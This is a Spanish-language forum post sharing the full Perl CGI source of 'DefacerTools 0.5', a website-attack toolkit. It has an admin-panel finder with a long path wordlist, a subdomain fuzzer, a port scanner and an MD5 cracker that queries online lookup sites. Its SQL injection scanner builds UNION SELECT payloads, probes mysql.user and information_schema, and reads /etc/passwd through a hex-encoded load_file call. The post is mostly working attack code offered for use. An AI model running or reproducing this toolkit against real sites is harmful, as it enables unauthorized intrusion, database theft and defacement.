Hola aca les traigo un regalo de navidad que hice en 3 horas , es un programa en CGI para usar en webs que
soporten el mismo , yo hice todas las pruebas con xampp y al parecer todo funciona bien.
Las funciones del programa son :
- HexConverter
- PanelFinder
- PathsFinder
- SQLi Scanner
- FuzzDNS
- FinderPass
- PortScanner
El codigo del programa (formateado con perltidy) es
defacertools.cgi#!"\xampp\perl\bin\perl.exe"
#
#DefacerTools 0.5
#
#(C) Doddy Hackman 2012
#
#
use CGI;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use HTML::LinkExtor;
use IO::Socket;
@panels = (
'admin/admin.asp', 'admin/login.asp',
'admin/index.asp', 'admin/admin.aspx',
'admin/login.aspx', 'admin/index.aspx',
'admin/webmaster.asp', 'admin/webmaster.aspx',
'asp/admin/index.asp', 'asp/admin/index.aspx',
'asp/admin/admin.asp', 'asp/admin/admin.aspx',
'asp/admin/webmaster.asp', 'asp/admin/webmaster.aspx',
'admin/', 'login.asp',
'login.aspx', 'admin.asp',
'admin.aspx', 'webmaster.aspx',
'webmaster.asp', 'login/index.asp',
'login/index.aspx', 'login/login.asp',
'login/login.aspx', 'login/admin.asp',
'login/admin.aspx', 'administracion/index.asp',
'administracion/index.aspx', 'administracion/login.asp',
'administracion/login.aspx', 'administracion/webmaster.asp',
'administracion/webmaster.aspx', 'administracion/admin.asp',
'administracion/admin.aspx', 'php/admin/',
'admin/admin.php', 'admin/index.php',
'admin/login.php', 'admin/system.php',
'admin/ingresar.php', 'admin/administrador.php',
'admin/default.php', 'administracion/',
'administracion/index.php', 'administracion/login.php',
'administracion/ingresar.php', 'administracion/admin.php',
'administration/', 'administration/index.php',
'administration/login.php', 'administrator/index.php',
'administrator/login.php', 'administrator/system.php',
'system/', 'system/login.php',
'admin.php', 'login.php',
'administrador.php', 'administration.php',
'administrator.php', 'admin1.html',
'admin1.php', 'admin2.php',
'admin2.html', 'yonetim.php',
'yonetim.html', 'yonetici.php',
'yonetici.html', 'adm/',
'admin/account.php', 'admin/account.html',
'admin/index.html', 'admin/login.html',
'admin/home.php', 'admin/controlpanel.html',
'admin/controlpanel.php', 'admin.html',
'admin/cp.php', 'admin/cp.html',
'cp.php', 'cp.html',
'administrator/', 'administrator/index.html',
'administrator/login.html', 'administrator/account.html',
'administrator/account.php', 'administrator.html',
'login.html', 'modelsearch/login.php',
'moderator.php', 'moderator.html',
'moderator/login.php', 'moderator/login.html',
'moderator/admin.php', 'moderator/admin.html',
'moderator/', 'account.php',
'account.html', 'controlpanel/',
'controlpanel.php', 'controlpanel.html',
'admincontrol.php', 'admincontrol.html',
'adminpanel.php', 'adminpanel.html',
'admin1.asp', 'admin2.asp',
'yonetim.asp', 'yonetici.asp',
'admin/account.asp', 'admin/home.asp',
'admin/controlpanel.asp', 'admin/cp.asp',
'cp.asp', 'administrator/index.asp',
'administrator/login.asp', 'administrator/account.asp',
'administrator.asp', 'modelsearch/login.asp',
'moderator.asp', 'moderator/login.asp',
'moderator/admin.asp', 'account.asp',
'controlpanel.asp', 'admincontrol.asp',
'adminpanel.asp', 'fileadmin/',
'fileadmin.php', 'fileadmin.asp',
'fileadmin.html', 'administration.html',
'sysadmin.php', 'sysadmin.html',
'phpmyadmin/', 'myadmin/',
'sysadmin.asp', 'sysadmin/',
'ur-admin.asp', 'ur-admin.php',
'ur-admin.html', 'ur-admin/',
'Server.php', 'Server.html',
'Server.asp', 'Server/',
'wp-admin/', 'administr8.php',
'administr8.html', 'administr8/',
'administr8.asp', 'webadmin/',
'webadmin.php', 'webadmin.asp',
'webadmin.html', 'administratie/',
'admins/', 'admins.php',
'admins.asp', 'admins.html',
'administrivia/', 'Database_Administration/',
'WebAdmin/', 'useradmin/',
'sysadmins/', 'admin1/',
'system-administration/', 'administrators/',
'pgadmin/', 'directadmin/',
'staradmin/', 'ServerAdministrator/',
'SysAdmin/', 'administer/',
'LiveUser_Admin/', 'sys-admin/',
'typo3/', 'panel/',
'cpanel/', 'cPanel/',
'cpanel_file/', 'platz_login/',
'rcLogin/', 'blogindex/',
'formslogin/', 'autologin/',
'support_login/', 'meta_login/',
'manuallogin/', 'simpleLogin/',
'loginflat/', 'utility_login/',
'showlogin/', 'memlogin/',
'members/', 'login-redirect/',
'sub-login/', 'wp-login/',
'login1/', 'dir-login/',
'login_db/', 'xlogin/',
'smblogin/', 'customer_login/',
'UserLogin/', 'login-us/',
'acct_login/', 'admin_area/',
'bigadmin/', 'project-admins/',
'phppgadmin/', 'pureadmin/',
'sql-admin/', 'radmind/',
'openvpnadmin/', 'wizmysqladmin/',
'vadmind/', 'ezsqliteadmin/',
'hpwebjetadmin/', 'newsadmin/',
'adminpro/', 'Lotus_Domino_Admin/',
'bbadmin/', 'vmailadmin/',
'Indy_admin/', 'ccp14admin/',
'irc-macadmin/', 'banneradmin/',
'sshadmin/', 'phpldapadmin/',
'macadmin/', 'administratoraccounts/',
'admin4_account/', 'admin4_colon/',
'radmind-1/', 'Super-Admin/',
'AdminTools/', 'cmsadmin/',
'SysAdmin2/', 'globes_admin/',
'cadmins/', 'phpSQLiteAdmin/',
'navSiteAdmin/', 'server_admin_small/',
'logo_sysadmin/', 'server/',
'database_administration/', 'power_user/',
'system_administration/', 'ss_vms_admin_sm/'
);
my @dns = ('www');
#my @dns = ('www','www1','www2','www3','ftp','ns','mail','3com','aix','apache','back','bind','boreder','bsd','business','chains','cisco','content','corporate','cpv','dns','domino','dominoserver','download','e-mail','e-safe','email','esafe','external','extranet','firebox','firewall','front','fw','fw0','fwe','fw-1','firew','gate','gatekeeper','gateway','gauntlet','group','help','hop','hp','hpjet','hpux','http','https','hub','ibm','ids','info','inside','internal','internet','intranet','ipfw','irix','jet','list','lotus','lotusdomino','lotusnotes','lotusserver','mailfeed','mailgate','mailgateway','mailgroup','mailhost','maillist','mailpop','mailrelay','mimesweeper','ms','msproxy','mx','nameserver','news','newsdesk','newsfeed','newsgroup','newsroom','newsserver','nntp','notes','noteserver','notesserver','nt','outside','pix','pop','pop3','pophost','popmail','popserver','print','printer','private','proxy','proxyserver','public','qpop','raptor','read','redcreek','redhat','route','router','scanner','screen','screening','s#ecure','seek','smail','smap','smtp','smtpgateway','smtpgw','solaris','sonic','spool','squid','sun','sunos','suse','switch','transfer','trend','trendmicro','vlan','vpn','wall','web','webmail','webserver','webswitch','win2000','win2k','upload','file','fileserver','storage','backup','share','core','gw','wingate','main','noc','home','radius','security','access','dmz','domain','sql','mysql','mssql','postgres','db','database','imail','imap','exchange','sendmail','louts','test','logs','stage','staging','dev','devel','ppp','chat','irc','eng','admin','unix','linux','windows','apple','hp-ux','bigip','pc');
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
my %rta;
my $que = new CGI;
my @ques = $que->param;
for (@ques) {
$rta{$_} = $que->param($_);
}
print "Content-type:text/html\n\n";
print "
<style type=text/css>
.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}
#pie {
position: absolute;
bottom: 0;
}
body,a:link {
font: normal 16px Verdana, Arial, Helvetica,
sans-serif;
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}
input,table.outset,table.bord,table,textarea,select {
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}
a:link,a:visited,a:active {
color: #00FF00;
font: normal 16px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
</style>";
if ( $rta{'hex'} ) {
logouno();
print
qq(<form method=post action=''><b>Text to encode : </b><input type=text name=textocode value=test><input type=submit name=codificar value=Encode></form>);
copyright();
}
elsif ( $rta{'textocode'} ) {
logouno();
print "[+] Encode : <b>" . encode( $rta{'textocode'} ) . "</b><br><br>";
print "</center>";
copyright();
}
elsif ( $rta{'panelfinder'} ) {
logodos();
print
qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpanel value=http://localhost/><input type=submit value=Find></form>);
copyright();
}
elsif ( $rta{'buscarpanel'} ) {
my $page = $rta{'buscarpanel'};
logodos();
print "<br>[+] Scanning $page<br><br>";
for $path (@panels) {
$code = tomax( $page . "/" . $path );
if ( $code->is_success ) {
print "[Link] : " . $page . "/" . $path . "<br>";
}
}
print "<br><br>[+] Finish<br>";
copyright();
}
elsif ( $rta{'pathsfinder'} ) {
logotres();
print
qq(<form method=post action=''><b>Page : </b><input type=text name=buscarpaths value=http://localhost/doddy><input type=submit name=codificar value=Find></form>);
copyright();
}
elsif ( $rta{'buscarpaths'} ) {
logotres();
my $page = $rta{'buscarpaths'};
my $code = toma($page);
my @links = get_links($code);
print "<br><br>[+] Finding paths<br><br>";
for my $com (@links) {
my ( $scheme, $auth, $path, $query, $frag ) = uri_split($page);
if ( $path =~ /\/(.*)$/ ) {
my $path1 = $1;
$page =~ s/$path1//ig;
my ( $scheme, $auth, $path, $query, $frag ) = uri_split($com);
if ( $path =~ /(.*)\// ) {
my $parche = $1;
unless ( $repetidos =~ /$parche/ ) {
$repetidos .= " " . $parche;
my $code = toma( "http://" . $auth . $parche );
if ( $code =~ /Index of (.*)</ig ) {
my $dir_found = $1;
chomp $dir_found;
print "[+] Directory Found : $page/$dir_found<br>";
}
}
}
}
}
print "<br><br>[+]Finished<br>";
copyright();
}
elsif ( $rta{'sqliscanner'} ) {
logocuatro();
print
qq(<form method=post action=''><b>Page : </b><input type=text name=buscarsql value=http://localhost/sql.php?id=><input type=submit name=codificar value=Scan></form>);
copyright();
}
elsif ( $rta{'buscarsql'} ) {
logocuatro();
print "<br><br>[+] Scanning page<br><br>";
&length( $rta{'buscarsql'} );
print "<br><br>[+] Finished";
copyright();
}
elsif ( $rta{'fuzzdns'} ) {
logocinco();
print
qq(<form method=post action=''><b>Host : </b><input type=text name=buscardns value=google.com><input type=submit name=codificar value=Scan></form>);
copyright();
}
elsif ( $rta{'buscardns'} ) {
logocinco();
my $page = $rta{'buscardns'};
print "<br><br>[+] Searching DNS to " . $page . ".....<br><br><br>";
for my $path (@dns) {
$code = tomax( "http://" . $path . "." . $page );
if ( $code->is_success ) {
print "[+] Found : http://" . $path . "." . $page . "<br>";
}
}
print "<br><br>[+] Finished<br><br>";
copyright();
}
elsif ( $rta{'finderpass'} ) {
logoseis();
print
qq(<form method=post action=''><b>MD5 : </b><input type=text name=buscarhash value=202cb962ac59075b964b07152d234b70><input type=submit name=codificar value=Scan></form>);
copyright();
}
elsif ( $rta{'buscarhash'} ) {
logoseis();
&crackit( $rta{'buscarhash'} );
copyright();
}
elsif ( $rta{'portscanner'} ) {
logosiete();
print
qq(<form method=post action=''><b>IP : </b><input type=text name=buscarpuertos value=localhost><input type=submit name=codificar value=Scan></form>);
copyright();
}
elsif ( $rta{'buscarpuertos'} ) {
logosiete();
scanuno( $rta{'buscarpuertos'} );
copyright();
}
elsif ( $rta{'home'} ) {
sintax();
}
else {
sintax();
}
sub sintax {
print qq(
<title>DefacerTools 0.5 (C) Doddy Hackman 2012</title>
<br><br>
<h1><center>DefacerTools</center></h1>
<br><br>
<center>
<table border=1>
<td class=main><center><b>Tools</b></center></td><tr>
<td class=main><a href=?hex=true><center>HexConverter</center></a></td><tr>
<td class=main><a href=?panelfinder=true><center>PanelFinder</center></a></td><tr>
<td class=main><a href=?pathsfinder=true><center>PathsFinder</center></a></td><tr>
<td class=main><a href=?sqliscanner=true><center>SQLi Scanner</center></a></td><tr>
<td class=main><a href=?fuzzdns=true><center>FuzzDNS</center></a></td><tr>
<td class=main><a href=?finderpass=true><center>FinderPass</center></a></td><tr>
<td class=main><a href=?portscanner=true><center>PortScanner</center></a></td>
</table>
</center>
);
}
sub logouno {
print qq(
<center>
<pre>
@ @ @@@@
@ @ @ @ @
@ @ @ @
@ @ @@@ @ @ @ @@@ @ @@ @ @ @@@ @@ @@ @@@ @@
@@@@@@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @
@ @ @@@@@ @@ @ @ @ @ @ @ @ @@@@@ @ @ @@@@@ @
@ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @@@ @ @ @@@@ @@@ @ @ @ @@@ @ @ @@@ @
</pre>
);
}
sub logodos {
print qq(
<center>
<pre>
@@@@@ @ @@@@@ @ @
@ @ @ @ @
@ @ @ @ @
@ @ @@@ @ @@ @@@ @ @ @ @ @@ @@@@ @@@ @@
@@@@@ @ @@ @ @ @ @ @@@@ @ @@ @ @ @ @ @ @
@ @@@@ @ @ @@@@@ @ @ @ @ @ @ @ @@@@@ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @@@@ @ @ @@@ @ @ @ @ @ @@@@ @@@ @
</pre>
);
}
sub logotres {
print qq(
<center>
<pre>
@@@@@ @ @@@@@ @ @
@ @ @ @ @ @
@ @ @ @ @ @
@ @ @@@ @@ @ @@ @@ @ @ @ @@ @@@@ @@@ @@
@@@@@ @ @ @@ @ @ @ @@@@ @ @@ @ @ @ @ @ @
@ @@@@ @ @ @ @ @ @ @ @ @ @ @@@@@ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @@@@ @ @ @ @@ @ @ @ @ @@@@ @@@ @
</pre>
);
}
sub logocuatro {
print qq(
<center>
<pre>
@@@ @@@@ @ @ @@@
@ @ @ @ @ @ @ @
@ @ @ @ @ @
@ @ @ @ @ @ @@@ @@@ @ @@ @ @@ @@@ @@
@@@ @ @ @ @ @@@ @ @ @ @@ @ @@ @ @ @ @
@ @ @ @ @ @ @ @@@@ @ @ @ @ @@@@@ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@@@ @@@@ @@@@@ @ @@@ @@@ @@@@ @ @ @ @ @@@ @
@
</pre>
);
}
sub logocinco {
print qq(
<center>
<pre>
@@@@@ @@@@ @ @ @@@
@ @ @ @@ @ @ @
@ @ @ @@ @ @
@ @ @ @@@@ @@@@ @ @ @ @ @ @
@@@@ @ @ @ @ @ @ @ @ @ @@@
@ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @@ @
@ @ @@ @ @ @ @ @ @@ @ @
@ @@ @ @@@@ @@@@ @@@@ @ @ @@@
</pre>
);
}
sub logoseis {
print qq(
<center>
<pre>
@@@@@ @ @ @@@@@
@ @ @ @
@ @ @ @
@ @ @ @@ @@@@ @@@ @@ @ @ @@@ @@ @@
@@@@ @ @@ @ @ @ @ @ @ @@@@@ @ @ @ @ @
@ @ @ @ @ @ @@@@@ @ @ @@@@ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @@@@ @@@ @ @ @@@@ @@ @@
</pre>
);
}
sub logosiete {
print qq(
<center>
<pre>
@@@@@ @@@
@ @ @ @ @
@ @ @ @
@ @ @@@ @@ @@ @ @@@ @@@ @ @@ @ @@ @@@ @@
@@@@@ @ @ @ @ @@@ @ @ @ @@ @ @@ @ @ @ @
@ @ @ @ @ @ @ @@@@ @ @ @ @ @@@@@ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@ @@@ @ @ @@@ @@@ @@@@ @ @ @ @ @@@ @
</pre>
);
}
sub copyright {
print
qq(<br><br><br><br><br><br><br><center><a href=?home=true><b>Return to home</b></a></center><br><br>);
}
sub length {
print "<br>[+] Looking for the number of columns<br><br>";
my $rows = "0";
my $asc;
my $page = $_[0];
( $pass1, $pass2 ) = &bypass( $_[1] );
$alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
$total = "1";
for my $rows ( 2 .. 200 ) {
$asc .=
"," . "char(" . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
$total .= "," . $rows;
$injection =
$page . "1"
. $pass1 . "and"
. $pass1 . "1=0"
. $pass1 . "union"
. $pass1
. "select"
. $pass1
. $alert
. $asc;
$test = toma($injection);
if ( $test =~ /RATSXPDOWN/ ) {
@number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $_[0] );
my $save = $auth;
$total =~ s/$number[0]/hackman/;
print "[SQLI] : "
. $page . "1"
. $pass1 . "and"
. $pass1 . "1=0"
. $pass1 . "union"
. $pass1
. "select"
. $pass1
. $total . "<br>";
details(
$page . "1"
. $pass1 . "and"
. $pass1 . "1=0"
. $pass1 . "union"
. $pass1
. "select"
. $pass1
. $total,
"--", ""
);
}
}
}
sub details {
my ( $page, $bypass, $save ) = @_;
( $pass1, $pass2 ) = &bypass($bypass);
if ( $page =~ /(.*)hackman(.*)/ig ) {
print "<br>[+] Searching information..<br><br>";
my ( $start, $end ) = ( $1, $2 );
$inforschema =
$start
. "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
. $end
. $pass1 . "from"
. $pass1
. "information_schema.tables"
. $pass2;
$mysqluser =
$start
. "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
. $end
. $pass1 . "from"
. $pass1
. "mysql.user"
. $pass2;
$test3 =
toma( $start
. "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
. $end
. $pass2 );
$test1 = toma($inforschema);
$test2 = toma($mysqluser);
if ( $test2 =~ /ERTOR854/ig ) {
print "[mysql.user] : ON<br>";
}
else {
print "[mysql.user] : OFF<br>";
}
if ( $test1 =~ /ERTOR854/ig ) {
print "[information_schema.tables] : ON<br>";
}
else {
print "[information_schema.tables] : OFF<br>";
}
if ( $test3 =~ /ERTOR854/ig ) {
print "[load_file] : ON<br>";
}
$concat =
"unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
$injection = $start . $concat . $end . $pass2;
$code = toma($injection);
if ( $code =~ /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g ) {
print
"<br>[!] DB Version : $1<br>[!] DB Name : $2<br>[!] user_name : $3<br><br>";
}
else {
print "<br>[-] Not found any data<br>";
}
}
}
sub encode {
my $string = $_[0];
$hex = '0x';
for ( split //, $string ) {
$hex .= sprintf "%x", ord;
}
return $hex;
}
sub bypass {
if ( $_[0] eq "/*" ) { return ( "/**/", "/**/" ); }
elsif ( $_[0] eq "%20" ) { return ( "%20", "%00" ); }
else { return ( "+", "--" ); }
}
sub ascii {
return join ',', unpack "U*", $_[0];
}
sub toma {
return $nave->get( $_[0] )->content;
}
sub tomax {
return $nave->get( $_[0] );
}
sub get_links {
$test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
return @links;
sub agarrar {
my ( $a, %b ) = @_;
push( @links, values %b );
}
}
sub crackit {
my $secret = $_[0];
print "<br><br>[+] Cracking $_[0]<br><br>";
my %hash = (
'http://passcracking.com/' => {
'tipo' => 'post',
'variables' => '{"datafromuser" => $_[0], "submit" => "DoIT"}',
'regex' =>
'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
},
'http://md5.hashcracking.com/search.php?md5=' => {
'tipo' => 'get',
'regex' => 'Cleartext of $_[0] is (.*)',
},
'http://www.bigtrapeze.com/md5/' => {
'tipo' => 'post',
'variables' => '{"query" => $_[0], "submit" => " Crack "}',
'regex' =>
'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
},
'http://opencrack.hashkiller.com/' => {
'tipo' => 'post',
'variables' =>
'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
},
'http://www.hashchecker.com/index.php?_sls=search_hash' => {
'tipo' => 'post',
'variables' => '{"search_field" => $_[0], "Submit" => "search"}',
'regex' =>
'<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
},
'http://victorov.su/md5/?md5e=&md5d=' => {
'tipo' => 'get',
'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
}
);
for my $data ( keys %hash ) {
if ( $hash{$data}{tipo} eq "get" ) {
$code = toma( $data . $_[0] );
if ( $code =~ /$hash{$data}{regex}/ig ) {
print "<br>[+] Decoded : " . $1 . "<br><br>";
print $secret. ":" . $1 . "<br>";
}
}
else {
$code = tomar( $data, $hash{$data}{variables} );
if ( $code =~ /$hash{$data}{regex}/ig ) {
print $secret. ":" . $1 . "<br>";
}
}
}
print "<br>[+] Finish<br>";
}
sub tomar {
my ( $web, $var ) = @_;
return $nave->post( $web, [ %{$var} ] )->content;
}
sub scanuno {
my %ports = (
"21" => "ftp",
"22" => "ssh",
"25" => "smtp",
"80" => "http",
"110" => "pop3",
"3306" => "mysql"
);
print "<br>[+] Scanning $_[0]<br><br><br>";
for my $port ( keys %ports ) {
if (
new IO::Socket::INET(
PeerAddr => $_[0],
PeerPort => $port,
Proto => "tcp",
Timeout => 0.5
)
)
{
print "[Port] : "
. $port
. " [Service] : "
. $ports{$port} . "<br>";
}
}
print "<br><br>[+] Scan Finish<br>";
}
# The End ?
Tema: [Perl] DefacerTools 0.5 (regalo de navidad) (Leído 28 veces)
Febrero 16, 2009, 10:50:52 am